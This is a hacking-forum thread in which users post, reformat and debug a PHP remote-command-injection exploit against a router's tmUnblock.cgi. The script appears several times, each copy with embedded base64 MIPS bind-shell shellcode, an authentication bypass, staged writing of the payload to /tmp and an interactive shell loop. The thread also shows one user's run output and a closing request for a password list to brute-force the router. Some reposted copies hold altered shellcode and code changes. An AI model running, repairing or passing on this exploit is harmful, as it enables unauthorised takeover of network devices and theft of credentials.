

Forum:[Hack Forums](#)

Thread: [Someone please translate this for me.](#)

Jmooree30 - April 30, 2015, 6:19 pm

Need to know how to type this exploit into msfconsole.

```
*/  
  
error_reporting(0);  
  
$host = "192.168.1.1";    // target host  
$port = "8080";          // target port  
$vuln = "tmUnblock.cgi";  // hndUnblock.cgi works too  
  
// msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X  
$shellcode = base64_decode(  
    "f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAAAA".  
    "AADQAIAABAAAAAAAAAAAAEAAAAAAAAAAAAABAAAAAQAB7AQAAogIA".  
    "AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBABV".  
    "BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/".  
    "ra/k/6Cv6P+gr+z/oK8IIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ".  
    "FQcw8kJSAQAgEBBSROEAIkDAEBABVBzDyQIIBAC//8FKP//BihI".  
    "EAIkDAEBABVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw".  
    "8kJSAQAgEBBSjfdWlkDAEBABVBzDyQIIBAC//8FKN8PAiQMAQEB".  
    "UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P".  
    "+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+Ii6sPAiQMAQEBL2Jp".  
    "bi9zaA=="  
);  
  
// regular urlencode() doesn't do enough.  
// it will break the exploit. so we use this  
function full_urlencode($string) {  
  
    $ret = "";  
    for($c=0; $c<strlen($string); $c++) {  
        if($string[$c] != '&')  
            $ret .= "%".dechex(ord($string[$c]));  
        else  
            $ret .= "&";  
    }  
  
    return $ret;  
  
}  
  
// wget is kind of a bad solution, because it requires  
// the payload be accessible via port 80 on the attacker's  
// machine. a better solution is to manually write the  
// executable payload onto the filesystem with echo -en  
// unfortunatly the httpd will crash with long strings,
```

```

// so we do it in stages.
function build_payload($host, $port, $vuln, $shellcode) {

    // in case we previously had a failed attempt
    // meh, it can happen
    echo "\tCleaning up... ";
    $cleanup = build_packet($host, $port, $vuln, "rm /tmp/c0d3z");
    if(!send_packet($host, $port, $cleanup)) die("fail\n");
    else echo "done!\n";

    // write the payload in 20byte stages
    for($i=0; $i<strlen($shellcode); $i+=20) {
        echo "\tSending ".$i."/".strlen($shellcode)." bytes... ";
        $cmd = "echo -en ";
        for($c=$i; $c<$i+20 && $c<strlen($shellcode); $c++) {
            $cmd .= "\\0".decoct(ord($shellcode[$c]));
        }
        $cmd .= " >> /tmp/c0d3z";
        $cmd = build_packet($host, $port, $vuln, $cmd);
        if(!send_packet($host, $port, $cmd)) die("fail\n");
        else echo "sent!\n";
        usleep(100000);
    }

    // make it usable
    echo "\tConfiguring... ";
    $config = build_packet($host, $port, $vuln, "chmod a+rwX /tmp/c0d3z");
    if(!send_packet($host, $port, $config)) die("fail\n");
    else echo "done!\n";

}

// add in all the HTTP shit
function build_packet($host, $port, $vuln, $payload) {

    $exploit = full_urlencode(
        "submit_button=&".
        "change_action=&".
        "submit_type=&".
        "action=&".
        "commit=0&".
        "tcp_num=2&".
        "tcp_size=2&".
        "tcp_ip=-h `".$payload."`&".
        "StartEPI=1"
    );

    $packet =
        "POST /".$vuln." HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        // this username:password is never checked ;)
        "Authorization: Basic ".base64_encode("admin:ThisCanBeAnything")."\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".

```

```

        "Content-Length: ".strlen($exploit)."\r\n".
        "\r\n".
        $exploit;

    return $packet;
}

function send_packet($host, $port, $packet) {

    $socket = fsockopen($host, $port, $errno, $errstr);
    if(!$socket) return false;
    if(!fwrite($socket, $packet)) return false;
    fclose($socket);
    return true;
}

echo "Testing connection to target... ";
$socket = fsockopen($host, $port, $errno, $errstr, 30);
if(!$socket) die("fail\n");
else echo "connected!\n";
fclose($socket);

echo "Sending payload... \n";
build_payload($host, $port, $vuln, $shellcode);
sleep(3); // don't rush him

echo "Executing payload... ";
if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z"))) die("fail\n");
else echo "done!\n";
sleep(3); // don't rush him

echo "Attempting to get a shell... ";
$socket = fsockopen($host, 4444, $errno, $errstr, 30);
if(!$socket) die("fail\n");
else echo "connected!\n";

echo "Opening shell... \n";
while(!feof($socket)) {
    $cmd = readline($host.$" ");
    if(!empty($cmd)) readline_add_history($cmd);
    // there has got to be a better way to detect that we have
    // reached the end of the output than this, but whatever
    // it's late... i'm tired... and it works...
    fwrite($socket, $cmd.";echo xxxEOFxxx\n");
    $data = "";
    do {
        $data .= fread($socket, 1);
    } while(strpos($data, "xxxEOFxxx") === false && !feof($socket));
    echo str_replace("xxxEOFxxx", "", $data);
}

```

?>

Nevermind I learned how to run the script.. problem is now when I change the top HOST line to my own routers ip the exploit fails almost instantly.

MineSQL - April 30, 2015, 9:04 pm

could we just....

PHP Code

```
<?php
```

```
error_reporting(0);
```

```
$host = "192.168.1.1"; // target host
```

```
$port = "8080"; // target port
```

```
$vuln = "tmUnblock.cgi"; // hndUnblock.cgi works too
```

```
// msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X
```

```
$shellcode = base64_decode(
```

```
"f0VMRgEBAQAAAAAAIACAABAAAAVABAADQAAAAAA".
```

```
"AAADQAIAABAAAAAAEAAAAABAAAAAQAB7AQAAogIA".
```

```
"AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV".
```

```
"BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/".
```

```
"ra/k/6Cv6P+gr+z/oK8lIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ".
```

```
"FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQlIBAC//8FKP//BihI".
```

```
"EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw".
```

```
"8kJSAQAgEBBSjfdWlKDAEBAVBzDyQlIBAC//8FKN8PAiQMAQEBl".
```

```
"UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P".
```

```
"+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+lI6sPAiQMAQEBl2Jp".
```

```
"bi9zaA=="
```

```
);
```

```
// regular urlencode() doesn't do enough.
```

```
// it will break the exploit. so we use this
```

```
function full_urlencode($string) {
```

```
$ret = "";
```

```
for($c=0; $c<strlen($string); $c++) {
```

```
if($string[$c] != '&')
```

```
$ret .= "%".dechex(ord($string[$c]));
```

```
else
```

```
$ret .= "&";
```

```
}
```

```
return $ret;
```

```
}
```

```
// wget is kind of a bad solution, because it requires
```

```
// the payload be accessible via port 80 on the attacker's
```

```
// machine. a better solution is to manually write the
```

```
// executable payload onto the filesystem with echo -en
```

```
// unfortunately the httpd will crash with long strings,
```

```
// so we do it in stages.
```

```

function build_payload($host, $port, $vuln, $shellcode) {

// in case we previously had a failed attempt
// meh, it can happen
echo "\tCleaning up... ";
$cleanup = build_packet($host, $port, $vuln, "rm /tmp/c0d3z");
if(!send_packet($host, $port, $cleanup)) die("fail\n");
else echo "done!\n";

// write the payload in 20byte stages
for($i=0; $i<strlen($shellcode); $i+=20) {
echo "\tSending ".$i."/".strlen($shellcode)." bytes... ";
$cmd = "echo -en ";
for($c=$i; $c<$i+20 && $c<strlen($shellcode); $c++) {
$cmd .= "\\0".decoct(ord($shellcode[$c]));
}
$cmd .= " >> /tmp/c0d3z";
$cmd = build_packet($host, $port, $vuln, $cmd);
if(!send_packet($host, $port, $cmd)) die("fail\n");
else echo "sent!\n";
usleep(100000);
}

// make it usable
echo "\tConfiguring... ";
$config = build_packet($host, $port, $vuln, "chmod a+rwX /tmp/c0d3z");
if(!send_packet($host, $port, $config)) die("fail\n");
else echo "done!\n";

}

// add in all the HTTP shit
function build_packet($host, $port, $vuln, $payload) {

$exploit = full_urlencode(
"submit_button=&".
"change_action=&".
"submit_type=&".
"action=&".
"commit=0&".
"ttcp_num=2&".
"ttcp_size=2&".
"ttcp_ip=-h `".$payload."&".
"StartEPI=1"
);

$packet =
"POST /".$vuln." HTTP/1.1\r\n".
"Host: ".$host."\r\n".
// this username:password is never checked ;)
"Authorization: Basic ".base64_encode("admin:ThisCanBeAnything")."\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($exploit)."\r\n".

```

```

"\r\n".
$exploit;

return $packet;

}

function send_packet($host, $port, $packet) {

$socket = fsockopen($host, $port, $errno, $errstr);
if(!$socket) return false;
if(!fwrite($socket, $packet)) return false;
fclose($socket);
return true;

}

echo "Testing connection to target... ";
$socket = fsockopen($host, $port, $errno, $errstr, 30);
if(!$socket) die("fail\n");
else echo "connected!\n";
fclose($socket);

echo "Sending payload... \n";
build_payload($host, $port, $vuln, $shellcode);
sleep(3); // don't rush him

echo "Executing payload... ";
if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z"))) die("fail\n");
else echo "done!\n";
sleep(3); // don't rush him

echo "Attempting to get a shell... ";
$socket = fsockopen($host, 4444, $errno, $errstr, 30);
if(!$socket) die("fail\n");
else echo "connected!\n";

echo "Opening shell... \n";
while(!feof($socket)) {
$cmd = readline($host."$ ");
if(!empty($cmd)) readline_add_history($cmd);
// there has got to be a better way to detect that we have
// reached the end of the output than this, but whatever
// it's late... i'm tired... and it works...
fwrite($socket, $cmd.";echo xxxEOFxxx\n");
$data = "";
do {
$data .= fread($socket, 1);
} while(strpos($data, "xxxEOFxxx") === false && !feof($socket));
echo str_replace("xxxEOFxxx", "", $data);
}

```

Jmooree30 - May 1, 2015, 3:41 am

Did you change anything? I ran the script with a different router IP and it fails.11

Eight - May 1, 2015, 5:34 am

@MySQL : copy/paste in Vim, gg=G

PHP Code

```
<?php
error_reporting(0);

$host = "192.168.1.1"; // target host
$port = "8080"; // target port
$vuln = "tmUnblock.cgi"; // hndUnblock.cgi works too

// msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X
$shellcode = base64_decode(
    "f0VMRgEBAQAAAAAIAACAABAAAABABAADQAAAAAA".
    "AAADQAIAABAAAAAAEAAAAABAAAAAQAB7AQAAogIA".
    "AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV".
    "BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/".
    "ra/k/6Cv6P+gr+z/oK8IIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ".
    "FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQIIBAC//8FKP//BihI".
    "EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw".
    "8kJSAQAgEBBSjfDwlkDAEBAVBzDyQIIBAC//8FKN8PAiQMAQEB".
    "UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P".
    "+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+Ii6sPAiQMAQEBL2Jp".
    "bi9zaA=="
);

// regular urlencode() doesn't do enough.
// it will break the exploit. so we use this
function full_urlencode($string) {

    $ret = "";
    for($c=0; $c<strlen($string); $c++) {
        if($string[$c] != '&')
            $ret .= "%".dechex(ord($string[$c]));
        else
            $ret .= "&";
    }

    return $ret;
}

// wget is kind of a bad solution, because it requires
// the payload be accessible via port 80 on the attacker's
// machine. a better solution is to manually write the
// executable payload onto the filesystem with echo -en
// unfortunately the httpd will crash with long strings,
// so we do it in stages.
function build_payload($host, $port, $vuln, $shellcode) {
```

```

// in case we previously had a failed attempt
// meh, it can happen
echo "\tCleaning up... ";
$cleanup = build_packet($host, $port, $vuln, "rm /tmp/c0d3z");
if(!send_packet($host, $port, $cleanup)) die("fail\n");
else echo "done!\n";

// write the payload in 20byte stages
for($i=0; $i<strlen($shellcode); $i+=20) {
    echo "\tSending ".$i."/".strlen($shellcode)." bytes... ";
    $cmd = "echo -en ";
    for($c=$i; $c<$i+20 && $c<strlen($shellcode); $c++) {
        $cmd .= "\\0".dechex(ord($shellcode[$c]));
    }
    $cmd .= " >> /tmp/c0d3z";
    $cmd = build_packet($host, $port, $vuln, $cmd);
    if(!send_packet($host, $port, $cmd)) die("fail\n");
    else echo "sent!\n";
    usleep(100000);
}

// make it usable
echo "\tConfiguring... ";
$config = build_packet($host, $port, $vuln, "chmod a+rwX /tmp/c0d3z");
if(!send_packet($host, $port, $config)) die("fail\n");
else echo "done!\n";

}

// add in all the HTTP shit
function build_packet($host, $port, $vuln, $payload) {

    $exploit = full_urlencode(
        "submit_button=&".
        "change_action=&".
        "submit_type=&".
        "action=&".
        "commit=0&".
        "tcp_num=2&".
        "tcp_size=2&".
        "tcp_ip=-h `".$payload."`&".
        "StartEPI=1"
    );

    $packet =
        "POST /".$vuln." HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        // this username:password is never checked ;)
        "Authorization: Basic ".base64_encode("admin:ThisCanBeAnything")."\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "Content-Length: ".strlen($exploit)."\r\n".
        "\r\n".
        $exploit;

```

```

    return $packet;

}

function send_packet($host, $port, $packet) {

    $socket = fsockopen($host, $port, $errno, $errstr);
    if(!$socket) return false;
    if(!fwrite($socket, $packet)) return false;
    fclose($socket);
    return true;

}

echo "Testing connection to target... ";
$socket = fsockopen($host, $port, $errno, $errstr, 30);
if(!$socket) die("fail\n");
else echo "connected!\n";
fclose($socket);

echo "Sending payload... \n";
build_payload($host, $port, $vuln, $shellcode);
sleep(3); // don't rush him

echo "Executing payload... ";
if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z"))) die("fail\n");
else echo "done!\n";
sleep(3); // don't rush him

echo "Attempting to get a shell... ";
$socket = fsockopen($host, 4444, $errno, $errstr, 30);
if(!$socket) die("fail\n");
else echo "connected!\n";

echo "Opening shell... \n";
while(!feof($socket)) {
    $cmd = readline($host.$" ");
    if(!empty($cmd)) readline_add_history($cmd);
    // there has got to be a better way to detect that we have
    // reached the end of the output than this, but whatever
    // it's late... i'm tired... and it works...
    fwrite($socket, $cmd.";echo xxxEOFxxx\n");
    $data = "";
    do {
        $data .= fread($socket, 1);
    } while(strpos($data, "xxxEOFxxx") === false && !feof($socket));
    echo str_replace("xxxEOFxxx", "", $data);
}

?>
God I love Vim ?
@OP : what does this even do ? I'm guessing that maybe you need to change $host to whatever
host you're targetting, not your own router.

```

Jmooree30 - May 1, 2015, 5:55 am

Its a router exploit, i put my routers IP in ar 192.168.168.1 but it fails. This is to get the username and pass

Eight - May 1, 2015, 7:58 am

Oh I see. I'm guessing it fails with a "failed" message ? Try this :

PHP Code

```
<?php
```

```
error_reporting(0);
```

```
$host = "192.168.1.1"; // target host
```

```
$port = "8080"; // target port
```

```
$vuln = "tmUnblock.cgi"; // hndUnblock.cgi works too
```

```
// msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X
```

```
$shellcode = base64_decode(
```

```
    "f0VMRgEBAQAAAAAAAAIACAABAAAAVABAADQAAAAAAAA".
```

```
    "AAADQAIABAAAAAAAEAAAAAABAAAAAQAB7AQAAogIA".
```

```
    "AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV".
```

```
    "BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/".
```

```
    "ra/k/6Cv6P+gr+z/oK8IIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ".
```

```
    "FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQIIBAC//8FKP//BiHl".
```

```
    "EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw".
```

```
    "8kJSAQAgEBBSjfDwIkDAEBAVBzDyQIIBAC//8FKN8PAiQMAQEBl".
```

```
    "UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P".
```

```
    "+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+I6sPAiQMAQEBl2Jp".
```

```
    "bi9zaA=="
```

```
);
```

```
// regular urlencode() doesn't do enough.
```

```
// it will break the exploit. so we use this
```

```
function full_urlencode($string) {
```

```
    $ret = "";
```

```
    for($c=0; $c<strlen($string); $c++) {
```

```
        if($string[$c] != '&')
```

```
            $ret .= "%".dechex(ord($string[$c]));
```

```
        else
```

```
            $ret .= "&";
```

```
    }
```

```
    return $ret;
```

```
}
```

```
// wget is kind of a bad solution, because it requires
```

```
// the payload be accessible via port 80 on the attacker's
```

```
// machine. a better solution is to manually write the
```

```
// executable payload onto the filesystem with echo -en
```

```
// unfortunately the httpd will crash with long strings,
```

```
// so we do it in stages.
```

```
function build_payload($host, $port, $vuln, $shellcode) {
```

```

// in case we previously had a failed attempt
// meh, it can happen
echo "\tCleaning up... ";
$cleanup = build_packet($host, $port, $vuln, "rm /tmp/c0d3z");
if(!send_packet($host, $port, $cleanup)) die("fail\n");
else echo "done!\n";

// write the payload in 20byte stages
for($i=0; $i<strlen($shellcode); $i+=20) {
    echo "\tSending ".$i."/".strlen($shellcode)." bytes... ";
    $cmd = "echo -en ";
    for($c=$i; $c<$i+20 && $c<strlen($shellcode); $c++) {
        $cmd .= "\\0".dechex(ord($shellcode[$c]));
    }
    $cmd .= " >> /tmp/c0d3z";
    $cmd = build_packet($host, $port, $vuln, $cmd);
    if(!send_packet($host, $port, $cmd)) die("fail\n");
    else echo "sent!\n";
    usleep(100000);
}

// make it usable
echo "\tConfiguring... ";
$config = build_packet($host, $port, $vuln, "chmod a+rwX /tmp/c0d3z");
if(!send_packet($host, $port, $config)) die("fail\n");
else echo "done!\n";

}

// add in all the HTTP shit
function build_packet($host, $port, $vuln, $payload) {

    $exploit = full_urlencode(
        "submit_button=&".
        "change_action=&".
        "submit_type=&".
        "action=&".
        "commit=0&".
        "tcp_num=2&".
        "tcp_size=2&".
        "tcp_ip=-h `".$payload."`&".
        "StartEPI=1"
    );

    $packet =
        "POST /".$vuln." HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        // this username:password is never checked ;)
        "Authorization: Basic ".base64_encode("admin:ThisCanBeAnything")."\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "Content-Length: ".strlen($exploit)."\r\n".
        "\r\n".
        $exploit;

```

```

    return $packet;

}

function send_packet($host, $port, $packet) {

    $socket = fsockopen($host, $port, $errno, $errstr);
    if(!$socket) throw new Exception("Failed to connect to host : " . $errstr);
    if(!fwrite($socket, $packet)) return false;
    fclose($socket);
    return true;

}

echo "Testing connection to target... ";
$socket = fsockopen($host, $port, $errno, $errstr, 30);
if(!$socket) die("fail: $errstr\n");
else echo "connected!\n";
fclose($socket);

echo "Sending payload... \n";
build_payload($host, $port, $vuln, $shellcode);
sleep(3); // don't rush him

echo "Executing payload... ";
if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z"))) die("fail\n");
else echo "done!\n";
sleep(3); // don't rush him

echo "Attempting to get a shell... ";
$socket = fsockopen($host, 4444, $errno, $errstr, 30);
if(!$socket) die("fail: $errstr\n");
else echo "connected!\n";

echo "Opening shell... \n";
while(!feof($socket)) {
    $cmd = readline($host.$" ");
    if(!empty($cmd)) readline_add_history($cmd);
    // there has got to be a better way to detect that we have
    // reached the end of the output than this, but whatever
    // it's late... i'm tired... and it works...
    fwrite($socket, $cmd.";echo xxxEOFxxx\n");
    $data = "";
    do {
        $data .= fread($socket, 1);
    } while(strpos($data, "xxxEOFxxx") === false && !feof($socket));
    echo str_replace("xxxEOFxxx", "", $data);
}

?>

```

Added an exception to actually throw the \$errstr error.
Also added the error message to the die() calls.

Jmooree30 - May 1, 2015, 1:16 pm

I'll be home to try it soon but how do you guys execute php files with kali linux? Ive been using root and doing php -f location of folder

```
msf > php -f /home/jacob/Downloads/usr/bin/themoon.php  
[*] exec: php -f /home/jacob/Downloads/usr/bin/themoon.php
```

```
Testing connection to target... fail  
msf >
```

Eight with your code now it tell me the error im guessing?

```
root@kali:/home/jacob# php -f /home/jacob/Downloads/usr/bin/themoon.php  
Testing connection to target... fail: Connection refused
```

Changed Port to 80 instead of 8080

```
Testing connection to target... connected!  
Sending payload...  
Cleaning up... done!  
Sending 0/364 bytes... sent!  
Sending 20/364 bytes... sent!  
Sending 40/364 bytes... sent!  
Sending 60/364 bytes... sent!  
Sending 80/364 bytes... sent!  
Sending 100/364 bytes... sent!  
Sending 120/364 bytes... sent!  
Sending 140/364 bytes... sent!  
Sending 160/364 bytes... sent!  
Sending 180/364 bytes... sent!  
Sending 200/364 bytes... sent!  
Sending 220/364 bytes... sent!  
Sending 240/364 bytes... sent!  
Sending 260/364 bytes... sent!  
Sending 280/364 bytes... sent!  
Sending 300/364 bytes... sent!  
Sending 320/364 bytes... sent!  
Sending 340/364 bytes... sent!  
Sending 360/364 bytes... sent!  
Configuring... done!  
Executing payload... done!  
Attempting to get a shell... fail: Connection refused  
msf >
```

well lesson of the week learned. The vulnerabilty was orignally on port 8083 with the same interface as port 80 but bypassed login credentials. Port 8083 is not open on my router.....FML. looks like it's time to be patient and use Hydra....can anyone suggest a good text list..